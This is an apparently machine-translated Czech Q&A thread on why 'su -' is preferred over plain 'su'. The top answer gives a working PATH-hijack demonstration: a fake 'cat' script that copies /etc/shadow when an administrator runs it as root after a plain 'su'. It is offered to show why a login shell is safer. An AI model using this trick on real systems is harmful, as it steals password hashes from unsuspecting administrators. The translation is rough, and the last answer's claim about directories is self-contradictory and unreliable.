it-swarm-eu.dev

Proč používáme su - a ne jen su?

Nerozumím proč su - se dává přednost před su před přihlášením jako root.

187
Dharmit

su - vyvolá přihlašovací prostředí po přepnutí uživatele. Přihlašovací prostředí Shell resetuje většinu proměnných prostředí a poskytuje čistou základnu.

su pouze přepíná uživatele a poskytuje normální prostředí Shell s prostředím téměř stejným jako u starého uživatele.

Představte si, že jste vývojář softwaru s běžným přístupem uživatele k počítači a váš neznalý administrátor vám prostě nedá root přístup. Pojďme (doufejme) podvádět.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Nyní se zeptáte správce, proč nemůžete cat soubor figuríny ve vaší domovské složce, prostě to nebude fungovat!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Pokud váš administrátor není tak chytrý nebo jen trochu líný, může přijít k vašemu stolu a vyzkoušet si své superuživatelské pravomoci:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Díky, super admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

On, on.

Možná jste si všimli, že poškozený $PATH proměnná nebyla resetována. To by se nestalo, kdyby administrátor vyvolal su - namísto.

251
wag

su - vás přihlásí úplně jako root, zatímco su ho dělá, takže předstíráte, že jste root.

Nejviditelnějším příkladem je, že ~ je domovský adresář root, pokud používáte su -, ale váš vlastní domovský adresář, pokud používáte su.

V závislosti na vašem systému to může také znamenat rozdíly v souboru Prompt, PATH nebo history.

Takže pokud jste součástí týmu spravujícího systém a váš kolega vám dá příkaz ke spuštění, víte, že bude fungovat stejně, pokud oba používáte su -, ale pokud oba používáte su, mohou existovat rozdíly, protože máte různé konfigurace Shell.

Na druhou stranu, pokud chcete spustit příkaz jako root, ale pomocí vlastní konfigurace, pak je pro vás možná su lepší.

Nezapomeňte také na Sudo, který má -s možnost spuštění Shell běžícího jako root. To samozřejmě má také jiná pravidla a mění se v závislosti na distribuci, kterou používáte.

37
Mikel

Hlavní rozdíl je:

su - username nastavuje prostředí Shell, jako by šlo o čisté přihlášení jako zadaný uživatel, přistupuje a používá proměnné prostředí zadaných uživatelů,

su username právě spustí prostředí s aktuálním nastavením prostředí pro zadaného uživatele.

Pokud uživatelské jméno není zadáno pomocí su a su -, implicitní je implicitně root účet.

2
Akhil MK

Používám su - když jsem v adresáři jako běžný uživatel, ale chci se přepnout do kořenového adresáře a po přepnutí zůstat ve stejném adresáři. Pokud používáte su - přepne uživatele na root a také vás přenese do/root, což je kořenový domovský adresář.

1
Calvin Dike